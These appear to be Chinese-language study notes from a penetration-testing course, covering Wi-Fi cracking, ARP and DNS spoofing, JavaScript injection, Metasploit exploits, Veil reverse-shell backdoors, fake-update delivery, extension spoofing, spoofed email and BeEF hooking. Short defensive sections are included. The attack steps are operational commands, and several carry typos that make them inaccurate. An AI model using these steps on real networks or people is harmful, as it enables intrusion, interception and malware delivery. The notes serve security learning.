網絡入侵
1.1 前期准備
購買了Atheros 7291的無線網卡,插入到kali Linux上,執行以下命令啟動網卡的啟動監聽模式:
ifconfig wlan0 down
airmon-ng check kill
iwconfig wlan0 monitor #啟動監聽模式
ifconfig wlan0 up
1.2 破解網絡
1.2.1 破解WEP秘鑰
-
破解原理
WEP網絡發送的每一個包都經過加密形成Key Stream
Key Stream由24bit的ramdom initializaiton vector(IV)+password生成。 -
攻擊方式
捕獲網絡上的包,如果沒有包,就進行arp replay,迫使目標路由器和我們握手,從而捕獲生成的握手包# Fake Athentication Attack 0 一次 aireplay-ng --fakeauth 0 目標MAC -h 網卡MAC wlan0 # arp reqyest replay aireplay-ng --arpreplau 0 -b 目標mac -h 網卡mac wlan0 # 從捕獲到的包中獲取key aircrack-ng arpreplay-01.cap
1.2.2 破解WPA/WPA2秘鑰
- 破解原理
- 基於WPS特性
WPS允許客戶端在沒有密碼的情況下連接到網絡認證只使用了8位的pin碼,所以暴力破解pin碼 - 字典破解
如果網絡的WPS特性關閉,只能使用字典攻擊了。並且默認來說WPS都是關閉的,字典破解是更常用的方式。
- 具體操作
1.3 攻擊方式拾遺
- Deauthentication Attack
- APR request Replay Attack
信息搜集和中間人攻擊
2.1 Zenmap&Nmap
使用zenmap的quick scan plus,可以獲取網絡中的設備,運行的操作系統,開放的端口,端口運行的軟件。從而可以搜索對應軟件存在的漏洞進行攻擊。
例子:Iphone越獄后會開啟22端口,可以遠程ssh登錄。root的默認密碼是alpine,值得一試。
2.2 ARP spoof(ARP poision)
ARP欺騙,中間人攻擊
因為ARP沒有安全檢驗機制
使用arpspoof讓目標機器以為攻擊者的機器是路由器,讓路由器以為攻擊者的機器是目標機器。
先開啟流量轉發:
echo 1 >> /proc/sys/net/ipv4/ip_forward
命令:arpspoof -i 網卡名 -t 目標機器IP 讓目標機器認為我們是誰的IP
arp -a查看本地的arp表
2.3 bettercap 中間人攻擊
也可用於arp欺騙,功能比arpspoof強大
命令:
bettercap -itface wlan0
進入之后的命令:
help幫助,能查看運行的模塊
net.probe給同一網段的設備發UDP請求
,搜集設備信息,會自動開啟net.recon
查看搜集的結果:net.show
開啟arp欺騙:
- set arp.spoof.fulduplex true #讓目標機器和路由器都認為我是中間人
- set arp.spoof.targets 1.0.2.15 #目標機器
- arp.spoof on
-ney.sniff on開啟監聽,可以捕獲所有的請求(吊爆了)
可以把以上命令都寫入腳本
bettercap -itface wlan0 caplet xxxxx.cap
上述命令只能捕獲未加密的HTTP請求,想獲得HTTPS的信息,需要額外的步驟:
1. 下載htshjack解壓到/usr/share/bettercap/caplets
2. 腳本中,在開始sniff前增加
set net.sniff.local true
3.運行腳本即可開始捕獲(吊爆了)
2.4 部分解決hsts問題
hsts:一部分網頁
2.5 DNS欺騙
1.先執行上述腳本,開啟相關模塊
2. set dns.spoof.domain xxx 設置想要查訪問的人騙到xxx去,不設置的話默認是網卡地址
3.set dns.spoof.all true 是否把所有請求都騙過去
set dns.spoof.domains xxx,xxx逗號分割的域名,訪問xxx時會欺騙
4.dns.spoof.on
注入javascript腳本:
1.同上,執行腳本,啟動相關服務
2.把js代碼保存到foo.js
3.打開hstshijack模塊,修改hijack.cap
4.在set hstshijack.payloads 之后增加*:/path/to/foo.js
5.運行hijack模塊: hstshijack/hstshijack
2.6Wireshark
不是用來攻擊的工具,只能監聽本地網卡。但是通過arp欺騙。可以捕獲別人的流量,從而分析監聽別人的網絡
簡單使用:
- 過濾http(綠色)
- 查看http內容
- 搜索http內容
2.7 把自己偽裝成熱點
偽裝成熱點后,對接入的victims自動成中間人
使用start-nat-simple.sh,再啟動bettercap(另外的啟動命令不實用,先忽略了),或者使用wireshark抓包
使用工具mana
- 編輯mana的配置文件/etc/mana-toolkit/hostapd-mana.conf,修改想要使用無線網卡名字,和ssid
- 編輯啟動文件/usr/share/mana-toolkit/run-mana/start-mana-simole.sh,修改phy為無線網卡,upstream為可以聯網的另一個網卡
- 運行
檢測攻擊
3.1 檢測arp欺騙:
1.使用XR工具
2.使用wireshark抓包
3.使用static arptable
3.2 防止中間人攻擊:
1.使用https everywhere插件
2.使用vnp,vpn會加密。但是vpn提供商會獲取你的全部通訊,所以要選擇可信的供應商。
獲取權限
- server side attack
只需要ip就可以進行攻擊,使用端口掃描等 - client side attack
需要和服務器通信,上傳,社會工程,引誘安裝木馬等
4.1 初體驗
使用zenmap掃描端口,然后去谷歌搜索端口的漏洞,默認密碼等,加以利用,本例使用了rlogin
4.2 metasploit
由rapid7開發的滲透軟件
msfcosole運行metasploit
use /path/to/exploit 使用漏洞模塊(可以在rapid7網站上搜索)
show options顯示選項,其中name對應的vakue可以通過options進行設置
set xx xx設置選項
exploit 執行漏洞
# 本例使用了vstftp的后門(backdoor),對21端口進行連接。能夠連接ftp后執行代碼
4.2 遠程執行漏洞
本例對運行在139端口的samba進行攻擊
use xxxx
show options
set rhost 10.200.1.5
show payloads(payloads意思是可執行的代碼片段)
- payloads有兩類,一類是命名為bind_xxx的,是在目標機器上開啟端口並與其通訊。reverse_xx的是在自己機器上開啟端口,讓遠程機器與自己通訊。優點是不會被目標機器的防火牆攔截。
可以把自己的端口設置成80讓遠程機器再訪問瀏覽器呢
4.3 nexpose
同樣為rapid7開發的滲透工具,可以檢測更大范圍的漏洞,並且匯報給對應的人員
安裝
1下載
2service stop postgresql
3賦予執行權限
4執行安裝
-
安裝過程中,如果遇到不支持kali1,需要kali2的問題,需要升級lunix的/etc/lsb-release和/etc/os-release,先備份,修改自己的版本為kali2,安裝完成后再恢復備份
-
安裝后可以用來掃描所有漏洞,自動在rapid7上發現攻擊方法,生成報告
4.4 Client side attack
apt-get install veil
4.5 veil用於給系統留后門
運行之后可以看到evasion模塊
evasion模塊命名一般為
語言名/payload名/rev
例子:
go/meterpreter/rev_http
- 帶rev的意思是受害者連接本地
例子:使用veil留后門
運行后執行:
list #列出所有可用的工具
use 1 #使用1 ecasion
use 15 #使用15 go的http——rev
ifconfig #查看kali的的ip
set LHOST ${kali_ip}
set LPORT ${kali_port}
set PROCESSORS 1 #使用的最小cpu數
set SLEEP 6 #睡眠6秒
# 然后生成backdoor:
generate
# 命名之后可以獲得exe文件
4.6 使用metaexplit監聽來自veil的連接
go/meteptrter/rev_htps,port 8080
msfconsole
use exploit/multi/handler #監聽incoming connections
show options
set LHOST
set LPORT
set payload windows/meterpreter/reverse_https # <-payload和veil中使用的保持一致
- /var/wwww/html中儲存kali作為服務器時可以下載的內容
4.7 誘導victim安裝后門:
#啟動
cd opt/evilgrade
./evilgrade
show modules
#可以看到很多軟件的虛假升級組件
configure [module_name] #(設置module_name的配置)
show options #其中的virtualHost是該模塊的域名,使用dns欺騙的時候要替換成改屬性,本例是update.speedit.com
set agent /var/www/html/backdoor.exe #設置后門的路徑
set endsite 222.speedbit.com #設置升級之后返回的頁面
start
#開始等待連接了
#然后需要成為中間人
bettercap -iface eth0 -caplet /path/to/script
set dns.spoof.all true
set dsn.spoof.domain update.speedit.com
set dns.spoof on
受害人如果更新該軟件就會上鈎
4.7plus 另一種讓受害人上鈎的方法
/opt/BDFProxy
# 更改cfg:
proxyMode:transparent
# 更改配置文件中的HOST為本機IP(本例想對windows系統進行攻擊,所以選擇[[ windowsIntelx86]] [[windowsx64]]對應的配置)
# 執行bdf_proxy.py
# 成為中間人進行arp欺騙
bettercap -iface eth0 -caplet /path/to/script
#配置本地的防火牆轉發規則
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 #-t 表名 -A append -p package類型
#把訪問80的請求轉發到8080
msfconsole --resource /opt/BDFProxy/bdfproxy_msf_resource.rc
#如果下載內容則會連接到msfconsole
4.8 如何防范攻擊
- 確定沒有中間人
- 只從http下載
- 檢查下載文件的MD5文件
基於社會工程學搜集密碼
5.1 使用工具:maltego
- 拖拽人物,網站等建立transformation,自動挖掘個人信息
5.2 使用Autoit
把腳本偽裝成任意文件,腳本先下載圖片,再下載木馬,直接執行看起來就是打開了一個圖片。
使用rw-desinger(網頁)把圖片轉成icon,讓木馬看起來像是圖片
5.3 使用characters偽裝擴展名
使用right ro left extension
光標后面的內容會被反過來復制成一個字符
文件名以(ex結尾為妙,比如hex,sex)
有的瀏覽器會去掉反寫,所以最好把文件壓縮一下再發送
5.4 使用senditblue網站發送假郵件
1.先去senditblue注冊
2.在kali使用sendemail
3.sendemail --help
4.設置用戶名,密碼等
sendemail -u [在senditblue注冊的郵箱] -xp 密碼 -s smtp-relapu.senditblue.com:5787(服務器) -t "m.astarg@isecurity.com"(收件人) -f "zaid@isecurity.com"(發件人,在發件人處偽裝發件人) -u [郵件標題] -m [郵件內容] -o message-header "From: Mohanmmad Askar m.astarg@isecurity.com"(郵箱里顯示的姓名)
獲取權限-ex
6.1 beEf
基於js的鈎子,能讓上鈎的人在beEf控制台被控制
- 常用方法
- 基於中間人:使用之前的方法,使用bettercap成為中間人並注入js代碼
- DNS欺騙,如以前的方法,返回假頁面
- 社會工程,誘導打開頁面
- BeEF基本操作
界面上都有,自己看吧,截屏,攝像頭什么的
舉例:
- 發送假的session time out頁面進行社會工程學偷密碼
- 發送假的升級信息,連接指向之前制作的木馬軟件
6.2 如何防止木馬:
- 右鍵查看詳情檢查文件類型
- 查看電腦進程有沒有可疑的,了解到不明ip的,搜索ip使用reverse dns(網上的服務)
- 使用sandbox(沙箱環境),模擬運行,也可以使用網上的服務(比如hybrid-analysis.com)
綜合練習
7.1 綜述
- 由於在內網的設備的IP不暴露到公網,需要在網絡的路由器上設置轉發,才能讓上鈎的受害者連接到本地